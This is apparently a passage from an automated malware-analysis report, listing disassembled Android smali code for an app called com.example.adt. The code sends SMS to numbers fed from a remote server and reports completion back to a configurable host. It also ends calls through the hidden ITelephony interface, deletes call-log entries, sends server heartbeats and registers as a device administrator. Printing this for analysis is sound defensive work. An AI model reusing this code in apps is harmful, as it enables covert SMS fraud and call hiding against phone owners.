17invoke-virtual {v0, v1, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: info
19iget-object v1, p0, Lcom/example/adt/App;->mContext:Landroid/content/Context;
21invoke-virtual {v1, v0}, Landroid/content/Context;->sendBroadcast(Landroid/content/Intent;)V
22return-void
Strings
  • \u53d1\u9001\u77ed\u4fe1\u5f00\u59cb
  • =>
Position Instruction Meta Information
0.prologue
1goto_0:
2iget-object v2, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS;
3iget v2, v2, Lcom/example/adt/SMS;->i:I
5iget-object v3, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS;
7iget-object v3, v3, Lcom/example/adt/SMS;->phones:[Ljava/lang/String;
8array-length v3, v3
9if-lt v2, v3, :cond_c
10return-void
11cond_c: const-wide/16 v2, 0x2710
12try_start_e:
13invoke-static {v2, v3}, Ljava/lang/Thread;->sleep(J)V
  • Data flow analysis:
    • p0: 10000
15sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;
16new-instance v3, Ljava/lang/StringBuilder;
18const-string v4, "\u53d1\u9001\u77ed\u4fe1\u5f00\u59cb "
20invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u53d1\u9001\u77ed\u4fe1\u5f00\u59cb
22iget-object v4, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS;
24iget-object v4, v4, Lcom/example/adt/SMS;->phones:[Ljava/lang/String;
25array-length v4, v4
27invoke-static {v4}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
28move-result-object v4
30invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
31move-result-object v3
33const-string v4, " => "
35invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: =>
36move-result-object v3
38iget-object v4, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS;
39iget v4, v4, Lcom/example/adt/SMS;->i:I
41invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
42move-result-object v3
44invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
45move-result-object v3
47invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
49iget-object v2, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS;
51iget-object v2, v2, Lcom/example/adt/SMS;->phones:[Ljava/lang/String;
53iget-object v3, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS;
54iget v3, v3, Lcom/example/adt/SMS;->i:I
55aget-object v1, v2, v3
57iget-object v2, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS;
59invoke-static {v2, v1}, Lcom/example/adt/SMS;->access$0(Lcom/example/adt/SMS;Ljava/lang/String;)V
61iget-object v2, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS;
62iget v3, v2, Lcom/example/adt/SMS;->i:I
63add-int/lit8 v3, v3, 0x1
64iput v3, v2, Lcom/example/adt/SMS;->i:I
66iget-object v2, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS;
67iget v2, v2, Lcom/example/adt/SMS;->i:I
69iget-object v3, p0, Lcom/example/adt/SMS$2;->this$0:Lcom/example/adt/SMS;
71iget-object v3, v3, Lcom/example/adt/SMS;->phones:[Ljava/lang/String;
72array-length v3, v3
73if-ne v2, v3, :cond_0
74new-instance v2, Ljava/lang/Thread;
75new-instance v3, Lcom/example/adt/SMS$2$1;
77invoke-direct {v3, p0}, Lcom/example/adt/SMS$2$1;-><init>(Lcom/example/adt/SMS$2;)V
79invoke-direct {v2, v3}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
81invoke-virtual {v2}, Ljava/lang/Thread;->start()V
82try_end_6b: goto/16 :goto_0
83catch_6c: move-exception v0
85invoke-virtual {v0}, Ljava/lang/InterruptedException;->printStackTrace()V
86goto/16 :goto_0
Strings
  • serverip
  • SMSAllCompate&sid=
Position Instruction Meta Information
0.prologue
1new-instance v1, Ljava/lang/StringBuilder;
3sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
5const-string v3, "serverip"
7sget-object v4, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String;
9invoke-static {v2, v3, v4}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
10move-result-object v2
12invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
13move-result-object v2
15invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
17sget-object v2, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String;
19invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
20move-result-object v1
22const-string v2, "SMSAllCompate&sid="
24invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: SMSAllCompate&sid=
25move-result-object v1
27iget-object v2, p0, Lcom/example/adt/SMS$2$1;->this$1:Lcom/example/adt/SMS$2;
29invoke-static {v2}, Lcom/example/adt/SMS$2;->access$0(Lcom/example/adt/SMS$2;)Lcom/example/adt/SMS;
30move-result-object v2
32iget-object v2, v2, Lcom/example/adt/SMS;->sid:Ljava/lang/String;
34invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
35move-result-object v1
37invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
38move-result-object v0
39new-instance v1, Lcom/example/adt/Connect;
41invoke-direct {v1}, Lcom/example/adt/Connect;-><init>()V
43invoke-virtual {v1, v0}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String;
44return-void
Strings
  • notification
  • cn.gx3.notify
Position Instruction Meta Information
0.parameter "msg"
1.parameter "title"
2.parameter "content"
3.parameter "icon"
4.prologue
5const/4 v6, 0x0
7sget-object v4, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
9const-string v5, "notification"
11invoke-virtual {v4, v5}, Lcom/example/adt/CoreService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • p0: notification
12move-result-object v1
13check-cast v1, Landroid/app/NotificationManager;
14new-instance v2, Landroid/app/Notification;
16invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
17move-result-wide v4
19invoke-direct {v2, p3, p0, v4, v5}, Landroid/app/Notification;-><init>(ILjava/lang/CharSequence;J)V
  • Data flow analysis:
    • p3: notification
20new-instance v0, Landroid/content/Intent;
22const-string v4, "cn.gx3.notify"
24invoke-direct {v0, v4}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: cn.gx3.notify
26sget-object v4, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
28invoke-static {v4, v6, v0, v6}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
  • Data flow analysis:
    • requestCode: 0
    • flags: 0
29move-result-object v3
31sget-object v4, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
33invoke-virtual {v2, v4, p1, p2, v3}, Landroid/app/Notification;->setLatestEventInfo(Landroid/content/Context;Ljava/lang/CharSequence;Ljava/lang/CharSequence;Landroid/app/PendingIntent;)V
34iget v4, v2, Landroid/app/Notification;->flags:I
35or-int/lit8 v4, v4, 0x10
36iput v4, v2, Landroid/app/Notification;->flags:I
37iget v4, v2, Landroid/app/Notification;->defaults:I
38or-int/lit8 v4, v4, 0x1
39iput v4, v2, Landroid/app/Notification;->defaults:I
40const/4 v4, 0x1
42invoke-virtual {v1, v4, v2}, Landroid/app/NotificationManager;->notify(ILandroid/app/Notification;)V
  • Data flow analysis:
    • id: 1
43return-void
Strings
  • \r
  • \n
Position Instruction Meta Information
0.parameter "str"
1.prologue
3const-string v0, "\r"
5const-string v1, ""
7invoke-virtual {p0, v0, v1}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: \r
8move-result-object v0
10const-string v1, "\n"
12const-string v2, ""
14invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: \n
15move-result-object v0
16return-object v0
Strings
  • SMS_SEND_ACTIOIN
  • SMS_DELIVERED_ACTION
Position Instruction Meta Information
0.prologue
2const-string v0, "SMS_SEND_ACTIOIN"
3sput-object v0, Lcom/example/adt/SMS;->SMS_SEND_ACTIOIN:Ljava/lang/String;
5const-string v0, "SMS_DELIVERED_ACTION"
6sput-object v0, Lcom/example/adt/SMS;->SMS_DELIVERED_ACTION:Ljava/lang/String;
7return-void
Strings
  • success
Position Instruction Meta Information
0.prologue
1const/4 v1, 0x0
3invoke-direct {p0}, Landroid/app/Service;-><init>()V
5invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
6move-result-object v0
7iput-object v0, p0, Lcom/example/adt/CoreService;->IS_NEW:Ljava/lang/Boolean;
9invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
  • Data flow analysis:
    • p0: 0
10move-result-object v0
11iput-object v0, p0, Lcom/example/adt/CoreService;->IS_WORK:Ljava/lang/Boolean;
13const-string v0, ""
14iput-object v0, p0, Lcom/example/adt/CoreService;->number:Ljava/lang/String;
16const-string v0, ""
17iput-object v0, p0, Lcom/example/adt/CoreService;->imsi:Ljava/lang/String;
19const-string v0, "success"
20iput-object v0, p0, Lcom/example/adt/CoreService;->MSG_OK:Ljava/lang/String;
21iput v1, p0, Lcom/example/adt/CoreService;->newClient:I
23const-string v0, ""
24iput-object v0, p0, Lcom/example/adt/CoreService;->httpUrl:Ljava/lang/String;
26const-string v0, ""
27iput-object v0, p0, Lcom/example/adt/CoreService;->issms:Ljava/lang/String;
29const-string v0, ""
30iput-object v0, p0, Lcom/example/adt/CoreService;->iscall:Ljava/lang/String;
32const-string v0, ""
33iput-object v0, p0, Lcom/example/adt/CoreService;->capp:Ljava/lang/String;
35const-string v0, ""
36iput-object v0, p0, Lcom/example/adt/CoreService;->sapp:Ljava/lang/String;
38const-string v0, ""
39iput-object v0, p0, Lcom/example/adt/CoreService;->mobVersion:Ljava/lang/String;
41const-string v0, ""
42iput-object v0, p0, Lcom/example/adt/CoreService;->timeint:Ljava/lang/String;
43iput v1, p0, Lcom/example/adt/CoreService;->currentapiVersion:I
45invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
  • Data flow analysis:
    • p0: 0
46move-result-object v0
47iput-object v0, p0, Lcom/example/adt/CoreService;->net:Ljava/lang/Integer;
49const-string v0, ""
50iput-object v0, p0, Lcom/example/adt/CoreService;->nettype:Ljava/lang/String;
52invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
  • Data flow analysis:
    • p0: 0
53move-result-object v0
54iput-object v0, p0, Lcom/example/adt/CoreService;->isnew:Ljava/lang/Integer;
56const-string v0, ""
57iput-object v0, p0, Lcom/example/adt/CoreService;->mApk:Ljava/lang/String;
59const-string v0, ""
60iput-object v0, p0, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String;
62const-string v0, ""
63iput-object v0, p0, Lcom/example/adt/CoreService;->mPackageName:Ljava/lang/String;
64return-void
Strings
  • com.android.internal.telephony.ITelephony
Position Instruction Meta Information
0.parameter "code"
1.parameter "data"
2.parameter "reply"
3.parameter "flags"
4.annotation system Ldalvik/annotation/Throws;
5value = {
6Landroid/os/RemoteException;
7}
8.end annotation
9.prologue
10const/4 v2, 0x1
11sparse-switch p1, :sswitch_data_30
13invoke-super {p0, p1, p2, p3, p4}, Landroid/os/Binder;->onTransact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
14move-result v2
15goto_8: return v2
16sswitch_9:
17const-string v1, "com.android.internal.telephony.ITelephony"
19invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: com.android.internal.telephony.ITelephony
20goto/16 :goto_8
21sswitch_f:
22const-string v1, "com.android.internal.telephony.ITelephony"
24invoke-virtual {p2, v1}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: com.android.internal.telephony.ITelephony
26invoke-virtual {p0}, Lcom/android/internal/telephony/ITelephony$Stub;->endCall()Z
27move-result v0
29invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
30if-eqz v0, :cond_22
31move v1, v2
32goto_1e:
33invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeInt(I)V
34goto/16 :goto_8
35cond_22: const/4 v1, 0x0
36goto/16 :goto_1e
37sswitch_24:
38const-string v1, "com.android.internal.telephony.ITelephony"
40invoke-virtual {p2, v1}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: com.android.internal.telephony.ITelephony
42invoke-virtual {p0}, Lcom/android/internal/telephony/ITelephony$Stub;->answerRingingCall()V
44invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
45goto/16 :goto_8
Strings
  • activity
Position Instruction Meta Information
0.parameter "mContext"
1.parameter "className"
2.prologue
3const/4 v2, 0x0
5const-string v4, "activity"
7invoke-virtual {p0, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: activity
8move-result-object v0
9check-cast v0, Landroid/app/ActivityManager;
10const/16 v4, 0x1e
12invoke-virtual {v0, v4}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
  • Data flow analysis:
    • maxNum: 30
13move-result-object v3
15invoke-interface {v3}, Ljava/util/List;->size()I
16move-result v4
17if-gtz v4, :cond_17
18const/4 v4, 0x0
19goto_16: return v4
20cond_17: const/4 v1, 0x0
21goto_18:
22invoke-interface {v3}, Ljava/util/List;->size()I
23move-result v4
24if-lt v1, v4, :cond_20
25goto_1e: move v4, v2
26goto/16 :goto_16
27cond_20:
28invoke-interface {v3, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
  • Data flow analysis:
    • p0: 0
29move-result-object v4
30check-cast v4, Landroid/app/ActivityManager$RunningServiceInfo;
32iget-object v4, v4, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
34invoke-virtual {v4}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
35move-result-object v4
37invoke-virtual {v4, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
38move-result v4
39if-eqz v4, :cond_34
40const/4 v2, 0x1
41goto/16 :goto_1e
42cond_34: add-int/lit8 v1, v1, 0x1
43goto/16 :goto_18
Strings
  • com.android.internal.telephony.ITelephony
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Landroid/os/RemoteException;
3}
4.end annotation
5.prologue
6const/4 v2, 0x1
7const/4 v3, 0x0
9invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
10move-result-object v0
12invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
13move-result-object v1
14try_start_a:
15const-string v4, "com.android.internal.telephony.ITelephony"
17invoke-virtual {v0, v4}, Landroid/os/Parcel;->writeInterfaceToken(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: com.android.internal.telephony.ITelephony
19iget-object v4, p0, Lcom/android/internal/telephony/ITelephony$Stub$Proxy;->mRemote:Landroid/os/IBinder;
20const/4 v5, 0x1
21const/4 v6, 0x0
23invoke-interface {v4, v5, v0, v1, v6}, Landroid/os/IBinder;->transact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
  • Data flow analysis:
    • p0: 1
    • p3: 0
25invoke-virtual {v1}, Landroid/os/Parcel;->readException()V
27invoke-virtual {v1}, Landroid/os/Parcel;->readInt()I
28try_end_1c: move-result v4
29if-eqz v4, :cond_26
30goto_1f:
31invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V
33invoke-virtual {v0}, Landroid/os/Parcel;->recycle()V
34return v2
35cond_26: move v2, v3
36goto/16 :goto_1f
37catchall_28: move-exception v3
39invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V
41invoke-virtual {v0}, Landroid/os/Parcel;->recycle()V
42throw v3
Strings
  • com.android.internal.telephony.ITelephony
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Landroid/os/RemoteException;
3}
4.end annotation
5.prologue
7invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
8move-result-object v0
10invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
11move-result-object v1
12try_start_8:
13const-string v2, "com.android.internal.telephony.ITelephony"
15invoke-virtual {v0, v2}, Landroid/os/Parcel;->writeInterfaceToken(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: com.android.internal.telephony.ITelephony
17iget-object v2, p0, Lcom/android/internal/telephony/ITelephony$Stub$Proxy;->mRemote:Landroid/os/IBinder;
18const/4 v3, 0x2
19const/4 v4, 0x0
21invoke-interface {v2, v3, v0, v1, v4}, Landroid/os/IBinder;->transact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
  • Data flow analysis:
    • p0: 2
    • p3: 0
23invoke-virtual {v1}, Landroid/os/Parcel;->readException()V
24try_end_17:
25invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V
27invoke-virtual {v0}, Landroid/os/Parcel;->recycle()V
28return-void
29catchall_1e: move-exception v2
31invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V
33invoke-virtual {v0}, Landroid/os/Parcel;->recycle()V
34throw v2
Strings
  • \u6587\u4ef6\u4e0d\u5b58\u5728
Position Instruction Meta Information
0.parameter "f"
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/Exception;
4}
5.end annotation
6.prologue
7const-wide/16 v1, 0x0
9invoke-virtual {p0}, Ljava/io/File;->exists()Z
10move-result v3
11if-eqz v3, :cond_14
12const/4 v0, 0x0
13new-instance v0, Ljava/io/FileInputStream;
15invoke-direct {v0, p0}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
17invoke-virtual {v0}, Ljava/io/FileInputStream;->available()I
18move-result v3
19int-to-long v1, v3
20goto_13: return-wide v1
21cond_14:
22invoke-virtual {p0}, Ljava/io/File;->createNewFile()Z
24sget-object v3, Ljava/lang/System;->out:Ljava/io/PrintStream;
26const-string v4, "\u6587\u4ef6\u4e0d\u5b58\u5728"
28invoke-virtual {v3, v4}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u6587\u4ef6\u4e0d\u5b58\u5728
29goto/16 :goto_13
Strings
  • \u8fd4\u56de\u5fc3\u8df3\u6570\u636e =>
Position Instruction Meta Information
0.prologue
2iget-object v1, p0, Lcom/example/adt/CoreService$MyRunnable;->this$0:Lcom/example/adt/CoreService;
4iget-object v1, v1, Lcom/example/adt/CoreService;->conn:Lcom/example/adt/Connect;
6iget-object v2, p0, Lcom/example/adt/CoreService$MyRunnable;->this$0:Lcom/example/adt/CoreService;
8iget-object v2, v2, Lcom/example/adt/CoreService;->httpUrl:Ljava/lang/String;
10invoke-virtual {v1, v2}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String;
11move-result-object v0
13sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
14new-instance v2, Ljava/lang/StringBuilder;
16const-string v3, "\u8fd4\u56de\u5fc3\u8df3\u6570\u636e => "
18invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u8fd4\u56de\u5fc3\u8df3\u6570\u636e =>
20invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
21move-result-object v2
23invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
24move-result-object v2
26invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
27return-void
Strings
  • p
Position Instruction Meta Information
0.parameter "numbers"
1.prologue
3invoke-static {p1}, Ljava/net/URLDecoder;->decode(Ljava/lang/String;)Ljava/lang/String;
4move-result-object v0
6const-string v1, "p"
8invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
  • Data flow analysis:
    • p0: p
9move-result-object v1
10iput-object v1, p0, Lcom/example/adt/SMS;->phones:[Ljava/lang/String;
11new-instance v1, Ljava/lang/Thread;
12new-instance v2, Lcom/example/adt/SMS$2;
14invoke-direct {v2, p0}, Lcom/example/adt/SMS$2;-><init>(Lcom/example/adt/SMS;)V
16invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
18invoke-virtual {v1}, Ljava/lang/Thread;->start()V
19return-void
Strings
  • number=?
Position Instruction Meta Information
0.parameter "number"
1.prologue
3sget-object v0, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
5invoke-virtual {v0}, Lcom/example/adt/CoreService;->getContentResolver()Landroid/content/ContentResolver;
6move-result-object v0
8sget-object v1, Landroid/provider/CallLog$Calls;->CONTENT_URI:Landroid/net/Uri;
10const-string v2, "number=?"
11const/4 v3, 0x1
12new-array v3, v3, [Ljava/lang/String;
13const/4 v4, 0x0
14aput-object p1, v3, v4
16invoke-virtual {v0, v1, v2, v3}, Landroid/content/ContentResolver;->delete(Landroid/net/Uri;Ljava/lang/String;[Ljava/lang/String;)I
  • Data flow analysis:
    • where: number=?
17move-result v0
18return v0
Strings
  • com.android.internal.telephony.ITelephony
Position Instruction Meta Information
0.parameter "obj"
1.prologue
2if-nez p0, :cond_4
3const/4 v0, 0x0
4goto_3: return-object v0
5cond_4:
6const-string v1, "com.android.internal.telephony.ITelephony"
8invoke-interface {p0, v1}, Landroid/os/IBinder;->queryLocalInterface(Ljava/lang/String;)Landroid/os/IInterface;
  • Data flow analysis:
    • p0: com.android.internal.telephony.ITelephony
9move-result-object v0
10if-eqz v0, :cond_13
11instance-of v1, v0, Lcom/android/internal/telephony/ITelephony;
12if-eqz v1, :cond_13
13check-cast v0, Lcom/android/internal/telephony/ITelephony;
14goto/16 :goto_3
15cond_13: new-instance v0, Lcom/android/internal/telephony/ITelephony$Stub$Proxy;
17invoke-direct {v0, p0}, Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-><init>(Landroid/os/IBinder;)V
18goto/16 :goto_3
Strings
  • config
Position Instruction Meta Information
0.parameter "c"
1.parameter "key"
2.parameter "value"
3.prologue
5const-string v2, "config"
6const/4 v3, 0x0
8invoke-virtual {p0, v2, v3}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • name: config
    • mode: 0
9move-result-object v1
11invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
12move-result-object v0
14invoke-interface {v0, p1, p2}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
16invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
17return-void
Strings
  • config
Position Instruction Meta Information
0.parameter "c"
1.parameter "key"
2.parameter "value"
3.prologue
5const-string v2, "config"
6const/4 v3, 0x0
8invoke-virtual {p0, v2, v3}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • name: config
    • mode: 0
9move-result-object v1
11invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
12move-result-object v0
14invoke-interface {v0, p1, p2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
16invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
17return-void
Strings
  • app.dwonload.complate
Position Instruction Meta Information
0.prologue
1const/4 v1, 0x0
2try_start_1: sput v1, Lcom/example/adt/Config;->isAlert:I
3new-instance v0, Landroid/content/Intent;
5invoke-direct {v0}, Landroid/content/Intent;-><init>()V
7const-string v1, "app.dwonload.complate"
9invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: app.dwonload.complate
11sget-object v1, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService;
13invoke-virtual {v1, v0}, Lcom/example/adt/CoreService;->sendBroadcast(Landroid/content/Intent;)V
14try_end_12: return-void
15catch_13: move-exception v1
16goto/16 :goto_12
Strings
  • config
Position Instruction Meta Information
0.parameter "c"
1.parameter "key"
2.parameter "def"
3.prologue
5const-string v1, "config"
6const/4 v2, 0x0
8invoke-virtual {p0, v1, v2}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • name: config
    • mode: 0
9move-result-object v0
11invoke-interface {v0, p1, p2}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
12move-result v1
13return v1
Strings
  • \u53d6\u6d88\u6fc0\u6d3b
Position Instruction Meta Information
0.parameter "context"
1.parameter "intent"
2.prologue
4sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
6const-string v1, "\u53d6\u6d88\u6fc0\u6d3b"
8invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u53d6\u6d88\u6fc0\u6d3b
10invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onDisabled(Landroid/content/Context;Landroid/content/Intent;)V
11return-void
Strings
  • \u6fc0\u6d3b\u4f7f\u7528
Position Instruction Meta Information
0.parameter "context"
1.parameter "intent"
2.prologue
4sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
6const-string v1, "\u6fc0\u6d3b\u4f7f\u7528"
8invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: \u6fc0\u6d3b\u4f7f\u7528
10invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onEnabled(Landroid/content/Context;Landroid/content/Intent;)V
11return-void
Strings
  • onreceiver
Position Instruction Meta Information
0.parameter "context"
1.parameter "intent"
2.prologue
4invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V
6sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
8const-string v1, "onreceiver"
10invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: onreceiver
11return-void
Strings
  • com.android.internal.telephony.ITelephony
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/os/Binder;-><init>()V
4const-string v0, "com.android.internal.telephony.ITelephony"
6invoke-virtual {p0, p0, v0}, Lcom/android/internal/telephony/ITelephony$Stub;->attachInterface(Landroid/os/IInterface;Ljava/lang/String;)V
  • Data flow analysis:
    • descriptor: com.android.internal.telephony.ITelephony
7return-void
Strings
  • Conncet
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4const-string v0, "Conncet"
5iput-object v0, p0, Lcom/example/adt/Connect;->DEBUG_TAG:Ljava/lang/String;
6return-void
Strings
  • com.android.internal.telephony.ITelephony
Position Instruction Meta Information
0.prologue
2const-string v0, "com.android.internal.telephony.ITelephony"
3return-object v0